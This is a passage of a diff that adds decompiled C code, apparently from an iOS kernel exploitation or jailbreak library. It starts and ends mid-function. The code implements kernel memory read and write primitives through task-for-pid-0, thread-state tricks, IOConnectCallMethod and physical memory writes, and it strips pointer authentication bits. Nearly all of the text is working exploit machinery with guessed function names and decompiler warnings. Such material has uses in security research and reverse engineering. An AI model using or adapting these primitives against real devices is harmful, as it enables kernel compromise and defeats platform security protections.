+ if ( (_DWORD)v5 ) + return v5; + } + if ( !valueSize_ ) + goto LABEL_97; + v61 = targetAddr; + v19 = 0; + valueSize__ = valueSize_; + valueBuf__ = valueBuf; +LABEL_25: + v20 = valueSize_ - v19; + upcomingWriteBuf = 0; + v21 = v61 + v19; + if ( (unsigned int)v20 >= 4 ) + { + v23 = 0; + v22 = v19; + } + else + { + v22 = v19; + if ( (((v21 + (unsigned int)v20 - 1) ^ (v21 + 3)) & ~*(_QWORD *)(ctx + 0x188)) != 0 ) + v23 = 4 - v20; + else + v23 = 0; + } + v24 = v21 - v23; + v25 = kreadbuf_via_dev_null_and_thread_state(ctx, v24, (__int64)&upcomingWriteBuf, 4u, 0); + if ( !(_DWORD)v25 ) + { + if ( 4 - (unsigned __int64)v23 >= v20 ) + v26 = valueSize_ - v19; + else + v26 = 4LL - v23; + v27 = upcomingWriteBuf; + memcpy((char *)&upcomingWriteBuf + v23, (const void *)(valueBuf + v22), v26); + upcomingWriteBuf_ = upcomingWriteBuf; + v62 = v23; + if ( v27 == upcomingWriteBuf ) + goto LABEL_72; + v70 = v24; + address = 0LL; + v29 = vm_page_size; + if ( krw_ctx_has_flag((_DWORD *)ctx, 0x4000000) ) + { + v30 = 0xE0LL; + } + else if ( krw_ctx_has_flag((_DWORD *)ctx, 0x5584201) ) + { + v30 = 0x90LL; + } + else + { + v30 = 0xD8LL; + } + v31 = *(_QWORD *)(ctx + 0x1D48); + v5 = 0xAD001LL; + if ( !v31 ) + goto LABEL_66; + v32 = *(_DWORD *)(v31 + 0x38); + v5 = 0xAD001LL; + if ( !v32 ) + goto LABEL_66; + v33 = *(_QWORD *)(v31 + 8); + v5 = 0xAD001LL; + if ( !v33 ) + goto LABEL_66; + v34 = (unsigned int)(v32 + 0x60); + v35 = *(_QWORD *)(v31 + 0x20); + v60 = v33 + v34; + physSize = v29; + v57 = v33 + v30; + v36 = (__int64 *)(v35 + v34); + v37 = 0xB; + while ( 1 ) + { + if ( v37 != 0xB ) + thread_switch(*(_DWORD *)(v31 + 0x30), 2, 0xAu); + if ( *(_QWORD *)(ctx + 0x158) > 0x27120F04B00002uLL && (*(_BYTE *)ctx & 0x20) != 0 ) + { + v68 = 0LL; + sub_38D60(ctx, v60, &v68, *(_DWORD *)(ctx + 0x168), 0); + if ( (_DWORD)v39 ) + goto LABEL_64; + if ( !validate_addr(ctx, v68) ) + goto LABEL_55; + v67 = 0LL; + sub_38D60(ctx, v57, &v67, *(_DWORD *)(ctx + 0x168), 0); + if ( (_DWORD)v39 ) + { +LABEL_64: + v5 = v39; + goto LABEL_65; + } + v38 = v67; + } + else + { + v68 = *v36; + if ( !validate_addr(ctx, v68) ) + goto LABEL_55; + v38 = *(_QWORD *)(v35 + v30); + v67 = v38; + } + if ( v38 == v68 ) + { + physAddr = sub_28CE0(ctx, v38, 0LL); + v29 = physSize; + if ( !physAddr ) + { + v5 = 0x28026LL; + goto LABEL_66; + } + v41 = physAddr; + if ( *(_QWORD *)(ctx + 0x158) > 0x27120F04B00002uLL && (*(_BYTE *)ctx & 0x20) != 0 ) + { + sub_38D60(ctx, physAddr + 0x34, &v65, 4u, 0); + v5 = v45; + if ( (_DWORD)v45 ) + goto LABEL_66; + v5 = 0x28011LL; + if ( v65 != 1 ) + goto LABEL_66; + if ( upcomingWriteBuf_ ) + { + v65 = upcomingWriteBuf_ + 1; + physwritebuf_idk_MAYBENOTSURE(ctx, v41 + 0x34, &v65, 4u, 0); + v5 = v46; + if ( (_DWORD)v46 ) + goto LABEL_66; + v47 = 1; + } + else + { + v47 = 2; + } + v66 = v47; + physwritebuf_idk_MAYBENOTSURE(ctx, v41 + 0x38, &v66, 4u, 0); + v5 = v52; + if ( !(_DWORD)v52 ) + { + physwritebuf_idk_MAYBENOTSURE(ctx, v60 + 0x18, &v70, *(_DWORD *)(ctx + 0x168), 0); + v5 = v53; + if ( !(_DWORD)v53 ) + { +LABEL_82: + v48 = *(_QWORD *)(v31 + 0x40); + if ( (unsigned int)((__int64 (__fastcall *)(uint64_t, uint64_t, uint64_t))__ulock_wake)( + 0x201uLL, + v31 + 0x34, + *(unsigned int *)(v31 + 0x30)) ) + { + v49 = *__error(); + if ( v49 < 0 ) + v49 = -v49; + v5 = v49 | 0x40000000u; + } + else if ( v48 == *(_QWORD *)(v31 + 0x40) ) + { + v50 = 0; + while ( v50 != 0x3E9 ) + { + v51 = v50 + 1; + thread_switch(*(_DWORD *)(v31 + 0x30), 2, v50 > 8); + v5 = 0LL; + v50 = v51; + v29 = physSize; + if ( v48 != *(_QWORD *)(v31 + 0x40) ) + goto LABEL_66; + } + v5 = 0x1001LL; + } + else + { + v5 = 0LL; + } + } + } + } + else + { + v5 = physmap_maybe(ctx, &address, physSize, physAddr); + if ( !(_DWORD)v5 ) + { + v42 = (*(_QWORD *)(ctx + 0x188) & v68) + address; + v65 = *(_DWORD *)(v42 + 0x34); + v5 = 0x28011LL; + if ( v65 == 1 ) + { + if ( upcomingWriteBuf_ ) + { + *(_DWORD *)(v42 + 0x34) = upcomingWriteBuf_ + 1; + v43 = 1; + } + else + { + v43 = 2; + } + v66 = v43; + *(_DWORD *)(v42 + 0x38) = v43; + v36[3] = v24; + goto LABEL_82; + } + } + } +LABEL_66: + if ( address ) + v44 = v29 == 0; + else + v44 = 1; + if ( !v44 ) + vm_deallocate(mach_task_self_, address, v29); + valueSize_ = valueSize__; + valueBuf = valueBuf__; + if ( (_DWORD)v5 ) + goto LABEL_99; +LABEL_72: + v19 = v19 - v62 + 4; + if ( v19 >= valueSize_ ) + { +LABEL_97: + v5 = 0LL; + goto LABEL_99; + } + goto LABEL_25; + } +LABEL_55: + if ( !--v37 ) + { + v5 = 0x28026LL; +LABEL_65: + v29 = physSize; + goto LABEL_66; + } + } + } + v5 = v25; +LABEL_99: + v54 = v64; +LABEL_100: + if ( v54 != 0xFFFFFFFF ) + fd_close(v54); + return v5; +} +// 292C0: variable 'v39' is possibly undefined +// 2942C: variable 'v45' is possibly undefined +// 2946C: variable 'v46' is possibly undefined +// 29530: variable 'v52' is possibly undefined +// 29554: variable 'v53' is possibly undefined + +//----- (00000000000295B4) ---------------------------------------------------- +bool __fastcall kread32_outptr(__int64 a1, unsigned __int64 a2, void *a3) +{ + __int64 (*v3)(void); // x8 + int v4; // w0 + int v5; // w0 + __int64 v7; // [xsp+8h] [xbp-8h] BYREF + + v3 = *(__int64 (**)(void))(a1 + 0x30); + if ( v3 ) + { + v4 = v3(); + goto LABEL_3; + } + if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 && *(_QWORD *)(a1 + 0xD8) ) + { + v4 = kreadbuf_via_dev_null_and_thread_state(); + } + else if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) ) + { + v4 = kreadbuf_via_IOConnectCallMethod(a1, a2, (__int64)a3, 4u, 1); + } + else + { + if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF ) + goto LABEL_22; + if ( *(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF && *(_QWORD *)(a1 + 0x218) ) + { + v4 = kreadbuf_via_dev_null_only(a1, a2, a3, 4LL, 1LL); + goto LABEL_3; + } + if ( *(_DWORD *)(a1 + 0x1938) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x193C) == 0xFFFFFFFF ) + { +LABEL_22: + v5 = kreadbuf_via_tfp0(*(_DWORD *)(a1 + 0x1918), a2, 4uLL, *(unsigned int *)(a1 + 0x178), (__int64)a3, &v7); + return v5 == 0; + } + v4 = sub_25334((int *)a1, a2, a3, 4u, 1); + } +LABEL_3: + if ( v4 ) + v5 = 5; + else + v5 = 0; + return v5 == 0; +} +// 25E54: using guessed type __int64 __fastcall kreadbuf_via_dev_null_only(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); +// 296E8: using guessed type __int64 kreadbuf_via_dev_null_and_thread_state(void); + +//----- (00000000000296E8) ---------------------------------------------------- +__int64 __fastcall kreadbuf_via_dev_null_and_thread_state( + __int64 a1, + unsigned __int64 a2, + __int64 a3, + unsigned int a4, + int a5) +{ + __int64 v5; // x28 + unsigned __int64 v11; // x22 + unsigned int v12; // w8 + unsigned int v13; // w19 + __int64 v14; // x26 + unsigned __int64 v15; // x8 + int v16; // w9 + unsigned int v17; // w8 + unsigned __int64 v18; // x24 + unsigned __int64 v19; // x20 + __int64 v20; // x8 + size_t v21; // x26 + unsigned __int64 v22; // x21 + void *v23; // x27 + unsigned __int64 v24; // x22 + __int64 v25; // x8 + __int64 v26; // x9 + unsigned __int64 v27; // x8 + unsigned __int64 v28; // x19 + __int64 v29; // x25 + kern_return_t v30; // w0 + __int64 v31; // x25 + __int64 v32; // x19 + __int64 v33; // x25 + __int64 v34; // x0 + kern_return_t state; // w0 + unsigned int v36; // w19 + __int64 v37; // x0 + unsigned int v38; // w0 + unsigned int v39; // w8 + unsigned __int64 v40; // [xsp+8h] [xbp-2B8h] + __int64 v41; // [xsp+10h] [xbp-2B0h] + unsigned int v42; // [xsp+1Ch] [xbp-2A4h] + int v43; // [xsp+20h] [xbp-2A0h] + __int64 v44; // [xsp+28h] [xbp-298h] + unsigned __int64 v45; // [xsp+30h] [xbp-290h] + int v46; // [xsp+38h] [xbp-288h] BYREF + mach_msg_type_number_t v47; // [xsp+3Ch] [xbp-284h] BYREF + natural_t old_state[134]; // [xsp+40h] [xbp-280h] BYREF + __int64 v49; // [xsp+258h] [xbp-68h] BYREF + mach_msg_type_number_t old_stateCnt[4]; // [xsp+260h] [xbp-60h] BYREF + + v5 = 0xAD001LL; + if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 ) + { + if ( *(_QWORD *)(a1 + 0xD8) ) + { + v11 = a2; + if ( validate_addr_maybe2(a1, a2) ) + { + v46 = 0xFFFFFFFF; + if ( !a5 || (v5 = fd_open_dev_null(&v46), !(_DWORD)v5) ) + { + if ( a4 ) + { + v12 = 0; + v42 = a4; + v40 = v11; + v41 = a3; + while ( 1 ) + { + v13 = a4 - v12; + v14 = v12; + v45 = v11 + v12; + if ( (*(_QWORD *)(a1 + 0x188) & v45) == 0 && v13 >= 0x4000 && sub_25734(a1) ) + { + v15 = *(_QWORD *)(a1 + 0x158); + if ( v15 <= 0x1F530F027FFFFFLL ) + v16 = 0x4000; + else + v16 = 0x80000; + if ( v15 <= 0x2711FFFFFFFFFFLL ) + v17 = v16; + else + v17 = 0x210; + if ( v13 >= v17 ) + v18 = v17; + else + v18 = v13; + v5 = sub_26204(a1, v45, a3 + v14, v18); +LABEL_68: + if ( (_DWORD)v5 ) + goto LABEL_72; + goto LABEL_69; + } + if ( v13 >= 0x210 ) + v18 = 0x210LL; + else + v18 = v13; + if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) < 2 || !*(_QWORD *)(a1 + 0xD8) ) + { + v5 = 0xAD001LL; + goto LABEL_72; + } + if ( (_DWORD)v18 ) + break; +LABEL_69: + v12 = v18 + v14; + if ( (int)v18 + (int)v14 >= a4 ) + goto LABEL_70; + } + v19 = 0LL; + v20 = v14; + v21 = 0LL; + v43 = v20; + v44 = a3 + v20; + while ( 1 ) + { + v22 = v19 + v45; + v23 = (void *)(v19 + v44); + v24 = v18 - v19; + if ( *(_QWORD *)(a1 + 0x158) >= 0x27120F04B00003uLL && (*(_BYTE *)a1 & 0x20) != 0 ) + { + *(_QWORD *)old_stateCnt = 0LL; + v47 = 0x84; + v31 = *(_QWORD *)(a1 + 0x188); + if ( (v31 & v22) >= (unsigned __int64)*(unsigned int *)(a1 + 0x180) - 0x210 ) + v32 = *(unsigned int *)(a1 + 0x180) - 0x210LL; + else + v32 = v31 & v22; + if ( validate_addr(a1, *(_QWORD *)(a1 + 0xE0)) ) + { + *(_QWORD *)old_stateCnt = *(_QWORD *)(a1 + 0xE0); + goto LABEL_45; + } + sub_38D60(a1, *(_QWORD *)(a1 + 0xD8), old_stateCnt, 8u, 0); + v5 = v37; + if ( !(_DWORD)v37 ) + { + *(_QWORD *)(a1 + 0xE0) = *(_QWORD *)old_stateCnt; +LABEL_45: + v33 = v32 + (v22 & ~v31); + __dsb(0xBu); + v49 = v33 - 0x10; + physwritebuf_idk_MAYBENOTSURE(a1, *(_QWORD *)(a1 + 0xD8), &v49, 8u, 0); + v5 = v34; + if ( !(_DWORD)v34 ) + { + state = thread_get_state(*(_DWORD *)(a1 + 0xAC), 0x11, old_state, &v47); + if ( state ) + { + v36 = state | 0x80000000; + } + else if ( v47 == 0x84 ) + { + if ( v33 - v22 + 0x210 <= v24 ) + v21 = v33 - v22 + 0x210; + else + v21 = v18 - v19; + memcpy(v23, (char *)old_state + v22 - v33, v21); + v36 = 0; + } + else + { + v36 = 0xAD022; + } + physwritebuf_idk_MAYBENOTSURE(a1, *(_QWORD *)(a1 + 0xD8), old_stateCnt, 8u, 0); + if ( v36 ) + v39 = v36; + else + v39 = v38; + if ( v38 ) + v5 = v39; + else + v5 = v36; + } + } + } + else + { + old_stateCnt[0] = 0x84; + v25 = *(_QWORD *)(a1 + 0x188); + v26 = v22 & ~v25; + v27 = v25 & v22; + if ( v27 >= (unsigned __int64)*(unsigned int *)(a1 + 0x180) - 0x210 ) + v27 = *(unsigned int *)(a1 + 0x180) - 0x210LL; + v28 = v27 + v26; + v29 = **(_QWORD **)(a1 + 0xC8); + __dsb(0xBu); + **(_QWORD **)(a1 + 0xC8) = v27 + v26 - 0x10; + v30 = thread_get_state(*(_DWORD *)(a1 + 0xAC), 0x11, old_state, old_stateCnt); + if ( v30 ) + { + v5 = v30 | 0x80000000; + } + else if ( old_stateCnt[0] == 0x84 ) + { + if ( v28 - v22 + 0x210 <= v24 ) + v21 = v28 - v22 + 0x210; + else + v21 = v18 - v19; + memcpy(v23, (char *)old_state + v22 - v28, v21); + v5 = 0LL; + } + else + { + v5 = 0xAD022LL; + } + **(_QWORD **)(a1 + 0xC8) = v29; + } + if ( !(_DWORD)v5 ) + { + v19 += v21; + if ( v19 < v18 ) + continue; + } + a4 = v42; + v11 = v40; + a3 = v41; + LODWORD(v14) = v43; + goto LABEL_68; + } + } +LABEL_70: + v5 = 0LL; +LABEL_72: + if ( v46 != 0xFFFFFFFF ) + fd_close(v46); + } + } + } + } + return v5; +} +// 2999C: variable 'v34' is possibly undefined +// 29A04: variable 'v37' is possibly undefined +// 29A7C: variable 'v38' is possibly undefined +// 26204: using guessed type __int64 __fastcall sub_26204(_QWORD, _QWORD, _QWORD, _QWORD); + +//----- (0000000000029AD0) ---------------------------------------------------- +__int64 __fastcall kreadbuf_via_tfp0( + vm_map_read_t target_task, + __int64 a2, + mach_vm_size_t a3, + mach_vm_size_t a4, + __int64 a5, + _QWORD *a6) +{ + mach_vm_size_t v8; // x21 + __int64 v11; // x24 + mach_vm_size_t v12; // x25 + mach_vm_size_t v13; // x2 + __int64 result; // x0 + mach_vm_size_t outsize; // [xsp+8h] [xbp-48h] BYREF + + if ( !a3 ) + return 4LL; + v8 = a3; + v11 = 0LL; + if ( a4 ) + v12 = a4; + else + v12 = a3; + while ( 1 ) + { + outsize = v8; + v13 = v8 >= v12 ? v12 : v8; + result = mach_vm_read_overwrite(target_task, v11 + a2, v13, v11 + a5, &outsize); + if ( (_DWORD)result ) + break; + v11 = (unsigned int)(outsize + v11); + v8 -= outsize; + if ( !v8 ) + { + result = 0LL; + if ( a6 ) + *a6 = v11; + return result; + } + } + return result; +} + +//----- (0000000000029B78) ---------------------------------------------------- +bool __fastcall kread64_internal(__int64 a1, unsigned __int64 a2, _QWORD *a3) +{ + __int64 (__fastcall *v3)(__int64, unsigned __int64, _QWORD *, _QWORD, __int64); // x8 + int v4; // w0 + int v5; // w0 + __int64 v7; // [xsp+8h] [xbp-8h] BYREF + + *a3 = 0LL; + v3 = *(__int64 (__fastcall **)(__int64, unsigned __int64, _QWORD *, _QWORD, __int64))(a1 + 0x30); + if ( v3 ) + { + v4 = v3(a1, a2, a3, *(unsigned int *)(a1 + 0x168), 1LL); + goto LABEL_3; + } + if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 && *(_QWORD *)(a1 + 0xD8) ) + { + v4 = kreadbuf_via_dev_null_and_thread_state(a1, a2, (__int64)a3, *(_DWORD *)(a1 + 0x168), 1); + } + else if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) ) + { + v4 = kreadbuf_via_IOConnectCallMethod(a1, a2, (__int64)a3, *(_DWORD *)(a1 + 0x168), 1); + } + else + { + if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF ) + goto LABEL_22; + if ( *(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF && *(_QWORD *)(a1 + 0x218) ) + { + v4 = kreadbuf_via_dev_null_only(a1, a2, (__int64)a3, *(_DWORD *)(a1 + 0x168), 1); + goto LABEL_3; + } + if ( *(_DWORD *)(a1 + 0x1938) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x193C) == 0xFFFFFFFF ) + { +LABEL_22: + v5 = kreadbuf_via_tfp0( + *(_DWORD *)(a1 + 0x1918), + a2, + *(int *)(a1 + 0x168), + *(unsigned int *)(a1 + 0x178), + (__int64)a3, + &v7); + return v5 == 0; + } + v4 = sub_25334((int *)a1, a2, a3, *(_DWORD *)(a1 + 0x168), 1); + } +LABEL_3: + if ( v4 ) + v5 = 5; + else + v5 = 0; + return v5 == 0; +} + +//----- (0000000000029CB0) ---------------------------------------------------- +unsigned __int64 __fastcall sub_29CB0(_DWORD *a1, __int64 a2) +{ + __int64 vars8; // [xsp+28h] [xbp+8h] + + if ( !krw_ctx_has_flag(a1, 0x5584001) || (*a1 & 0x5584001) == 0 ) + return a2; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return krw_xpac_vaddr((__int64)a1, a2); +} +// 29D08: variable 'vars8' is possibly undefined + +//----- (0000000000029D2C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_29D2C(_DWORD *a1, __int64 a2) +{ + __int64 vars8; // [xsp+18h] [xbp+8h] + + if ( !krw_ctx_has_flag(a1, 0x5584001) ) + return a2; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return krw_xpac_vaddr((__int64)a1, a2); +} +// 29D68: variable 'vars8' is possibly undefined + +//----- (0000000000029D88) ---------------------------------------------------- +unsigned __int64 __fastcall krw_xpac_vaddr(__int64 a1, __int64 a2) +{ + __int64 v2; // x19 + + v2 = a2; + if ( a2 && (a2 & 0x80000000000000LL) != 0 ) + { + if ( krw_ctx_has_flag((_DWORD *)a1, 8) + || krw_ctx_has_flag((_DWORD *)a1, 0x5000000) && *(_QWORD *)(a1 + 0x158) >= 0x22580A06C00000uLL ) + { + return v2 | 0xFFFF800000000000LL; + } + else + { + return v2 | 0xFFFFFF8000000000LL; + } + } + return v2; +} + +//----- (0000000000029DF8) ---------------------------------------------------- +bool __fastcall kwrite64_last_arg(__int64 a1, mach_vm_address_t address, __int64 a3, int a4) +{ + __int64 (__fastcall *v6)(__int64, mach_vm_address_t, __int64 *, _QWORD, __int64); // x8 + int v7; // w0 + kern_return_t v8; // w21 + __int64 v10; // x23 + semaphore_t v11; // w0 + int v12; // w21 + vm_map_t v13; // w0 + mach_vm_size_t v14; // x2 + __int64 v16; // x9 + int v17; // w8 + _QWORD *v18; // x20 + kern_return_t v19; // w0 + mach_timespec_t v20; // x1 + kern_return_t v21; // w0 + __int64 v22; // [xsp+8h] [xbp-48h] BYREF + __int64 v23; // [xsp+10h] [xbp-40h] BYREF + vm_machine_attribute_val_t value[2]; // [xsp+18h] [xbp-38h] BYREF + + v22 = a3; + v6 = *(__int64 (__fastcall **)(__int64, mach_vm_address_t, __int64 *, _QWORD, __int64))(a1 + 0x40); + if ( v6 ) + { + v7 = v6(a1, address, &v22, *(unsigned int *)(a1 + 0x168), 1LL); + goto LABEL_3; + } + if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 && *(_QWORD *)(a1 + 0xD8) ) + { + *(_QWORD *)value = a3; + if ( !*(_QWORD *)(a1 + 0x1D48) ) + { + v8 = 5; + return v8 == 0; + } + v7 = sub_28F90(a1, address, value, *(unsigned int *)(a1 + 0x168), 1LL); + goto LABEL_3; + } + if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) ) + { + v7 = sub_271B0(a1, address, (__int64)&v22, *(_DWORD *)(a1 + 0x168), 1); + goto LABEL_3; + } + if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF ) + goto LABEL_27; + if ( *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF || !*(_QWORD *)(a1 + 0x218) ) + { + if ( *(_DWORD *)(a1 + 0x1938) != 0xFFFFFFFF && *(_DWORD *)(a1 + 0x193C) != 0xFFFFFFFF ) + { + v7 = sub_25498((int *)a1, address, &v22, *(_DWORD *)(a1 + 0x168), 1); + goto LABEL_3; + } +LABEL_27: + v8 = mach_vm_write(*(_DWORD *)(a1 + 0x1918), address, (vm_offset_t)&v22, *(_DWORD *)(a1 + 0x168)); + v13 = *(_DWORD *)(a1 + 0x1918); + v14 = *(int *)(a1 + 0x168); + value[0] = 7; + mach_vm_machine_attribute(v13, address, v14, 1u, value); + return v8 == 0; + } + v23 = a3; + if ( a4 ) + { + v7 = sub_251A4(a1, 1u, 0x2710u); + if ( v7 ) + goto LABEL_3; + if ( *(_QWORD *)(a1 + 0x158) < 0x1F530000000000uLL ) + { + v12 = sub_2B5BC(a1); + goto LABEL_32; + } + *(_QWORD *)value = a3; + v10 = *(_QWORD *)(a1 + 0x28); + if ( !v10 || (v11 = *(_DWORD *)(v10 + 8), v11 + 1 < 2) ) + { + v12 = 0xAD001; + goto LABEL_32; + } + v12 = 0xAD001; + if ( (unsigned int)(*(_DWORD *)(v10 + 0xC) + 1) >= 2 ) + { + *(_QWORD *)(v10 + 0x20) = address; + v18 = (_QWORD *)(v10 + 0x20); + *(_QWORD *)(v10 + 0x28) = value; + *(_QWORD *)(v10 + 0x30) = 8LL; + v19 = semaphore_signal(v11); + if ( v19 ) + { + v12 = v19 | 0x80000000; +LABEL_41: + *v18 = 0LL; + *(_QWORD *)(v10 + 0x28) = 0LL; + *(_QWORD *)(v10 + 0x30) = 0LL; + goto LABEL_32; + } + v20 = (mach_timespec_t)3LL; + v21 = semaphore_timedwait(*(_DWORD *)(v10 + 0xC), v20); + v12 = *(_DWORD *)(v10 + 0x3C); + if ( !v12 ) + { + if ( v21 ) + v12 = v21 | 0x80000000; + else + v12 = 0; + goto LABEL_41; + } + *v18 = 0LL; + *(_QWORD *)(v10 + 0x28) = 0LL; + *(_QWORD *)(v10 + 0x30) = 0LL; + sub_26B00(a1, 0); + } +LABEL_32: + v16 = *(_QWORD *)(a1 + 0x118); + v17 = 0xAD008; + if ( v16 && *(_QWORD *)(a1 + 0x120) ) + { + v17 = 0; + atomic_store(0, (unsigned __int8 *)(v16 + 1)); + } + if ( v12 ) + v7 = v12; + else + v7 = v17; + goto LABEL_3; + } + v7 = sub_268F8(a1, address, (__int64)&v23, *(_DWORD *)(a1 + 0x168), 1); +LABEL_3: + if ( v7 ) + v8 = 5; + else + v8 = 0; + return v8 == 0; +} +// 28F90: using guessed type __int64 __fastcall sub_28F90(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); + +//----- (000000000002A0D0) ---------------------------------------------------- +bool __fastcall kwrite64(__int64 a1, mach_vm_address_t a2, __int64 a3) +{ + return kwrite64_last_arg(a1, a2, a3, *(unsigned __int8 *)(a1 + 0xC)); +} + +//----- (000000000002A0D8) ---------------------------------------------------- +__int64 __fastcall sub_2A0D8(__int64 a1, __int64 a2, __int64 a3) +{ + int v6; // w0 + int v7; // w0 + __int64 v8; // x8 + __int64 v9; // x20 + _BYTE v11[32]; // [xsp+8h] [xbp-88h] BYREF + __int64 v12; // [xsp+28h] [xbp-68h] + _OWORD v13[3]; // [xsp+30h] [xbp-60h] BYREF + __int64 v14; // [xsp+60h] [xbp-30h] + + v14 = 0LL; + memset(v13, 0, sizeof(v13)); + sub_2183C(a1, a2 & ~*(_QWORD *)(a1 + 0x188), (__int64)v11); + if ( !v6 ) + return 0LL; + v7 = physwrite_maybe(a1, v12 & 0xFFFFFFFFC000LL, (__int64)v13); + v8 = *(_QWORD *)&v13[0]; + if ( v7 ) + { + v9 = 0LL; + if ( !*(_QWORD *)&v13[0] ) + return v9; + goto LABEL_7; + } + *(_QWORD *)((*(_QWORD *)(a1 + 0x188) & a2) + *(_QWORD *)&v13[0]) = a3; + v9 = 1LL; + if ( v8 ) +LABEL_7: + sub_38BCC(a1, (__int64)v13); + return v9; +} +// 2A11C: variable 'v6' is possibly undefined + +//----- (000000000002A188) ---------------------------------------------------- +__int64 __fastcall kwritebuf_last_1(__int64 a1, __int64 a2, __int64 a3, __int64 a4) +{ + return noppl_kwritebuf(a1, a2, a3, a4, 1LL); +} +// 2A488: using guessed type __int64 __fastcall noppl_kwritebuf(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); + +//----- (000000000002A190) ---------------------------------------------------- +unsigned __int64 __fastcall sub_2A190(__int64 a1, unsigned int a2) +{ + __int64 v2; // x19 + unsigned __int64 result; // x0 + __int64 v4; // x8 + __int64 v5; // x9 + int v6; // [xsp+Ch] [xbp-14h] BYREF + + v2 = a2; + if ( !a2 ) + return 0LL; + if ( (a2 & 0x80000000) != 0 ) + { + v4 = *(_QWORD *)(a1 + 0x1F0); + if ( v4 ) + { + v5 = *(unsigned int *)(a1 + 0x1F8); + if ( (_DWORD)v5 ) + return v4 + (a2 & 0x7FFFFFFF) * v5; + } + return 0LL; + } + result = sub_35A50(a1, 0, &v6); + if ( result ) + result += v2 << v6; + return result; +} + +//----- (000000000002A200) ---------------------------------------------------- +unsigned __int64 __fastcall sub_2A200(__int64 a1, unsigned __int64 a2, _DWORD *a3) +{ + bool v6; // cc + _BOOL4 v7; // w9 + unsigned __int64 v8; // x8 + unsigned __int64 v9; // x11 + char v10; // w12 + __int64 v11; // x10 + __int64 v12; // x13 + __int64 v13; // x13 + __int64 v14; // x12 + __int64 v15; // x12 + __int64 v16; // x9 + unsigned __int64 v17; // x8 + + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584001) ) + { + if ( krw_ctx_has_flag((_DWORD *)a1, 8) || krw_ctx_has_flag((_DWORD *)a1, 0x5000000) ) + { + v6 = *(_QWORD *)(a1 + 0x158) > 0x225814018FFFFFuLL; + v7 = v6; + v8 = 0xFFFF9FFFFFFFFFF0LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x225814018FFFFFuLL ) + v8 = 0xFFFFFFFFFFFFFFE0LL; + v9 = 0xFFFFBFFFFFFFC000LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x225814018FFFFFuLL ) + { + v10 = 0x2E; + } + else + { + v9 = 0xFFFF9FFFFFFFC000LL; + v10 = 0x2D; + } + v11 = 0x600000000000LL; + v12 = 0x400000000000LL; + } + else + { + v6 = *(_QWORD *)(a1 + 0x158) > 0x225814018FFFFFuLL; + v7 = v6; + v8 = 0xFFFFFF9FFFFFFFF0LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x225814018FFFFFuLL ) + v8 = 0xFFFFFFFFFFFFFFE0LL; + v9 = 0xFFFFFFBFFFFFC000LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x225814018FFFFFuLL ) + { + v10 = 0x26; + } + else + { + v9 = 0xFFFFFF9FFFFFC000LL; + v10 = 0x25; + } + v11 = 0x6000000000LL; + v12 = 0x4000000000LL; + } + if ( v6 ) + v11 = v12; + v13 = 3LL; + if ( v7 ) + v13 = 1LL; + v14 = v13 & (a2 >> v10); + if ( v14 ) + { + v15 = v14 << (a2 & 0xF); + if ( v7 ) + v16 = (a2 & 0x10 | 0x20) << (a2 & 0xF); + else + LODWORD(v16) = v15; + } + else + { + LODWORD(v16) = ((_DWORD)a2 << 0xE) & 0xFFFC000; + v8 = v9; + } + *a3 = v16; + return v8 & a2 | v11; + } + else + { + v17 = HIWORD(a2); + if ( (a2 & 0x800000000000LL) != 0 ) + LODWORD(v17) = HIWORD(a2) << 0xE; + *a3 = v17; + return a2 | 0xFFFF800000000000LL; + } +} + +//----- (000000000002A360) ---------------------------------------------------- +bool __fastcall kreadbuf(__int64 a1, unsigned __int64 a2, mach_vm_size_t a3, void *a4, __int64 a5) +{ + __int64 (*v5)(void); // x9 + int v6; // w0 + int v7; // w0 + + v5 = *(__int64 (**)(void))(a1 + 0x30); + if ( v5 ) + { + v6 = v5(); + goto LABEL_3; + } + if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 && *(_QWORD *)(a1 + 0xD8) ) + { + v6 = kreadbuf_via_dev_null_and_thread_state(a1, a2, (__int64)a4, a3, a5); + } + else if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) ) + { + v6 = kreadbuf_via_IOConnectCallMethod(a1, a2, (__int64)a4, a3, a5); + } + else + { + if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF ) + goto 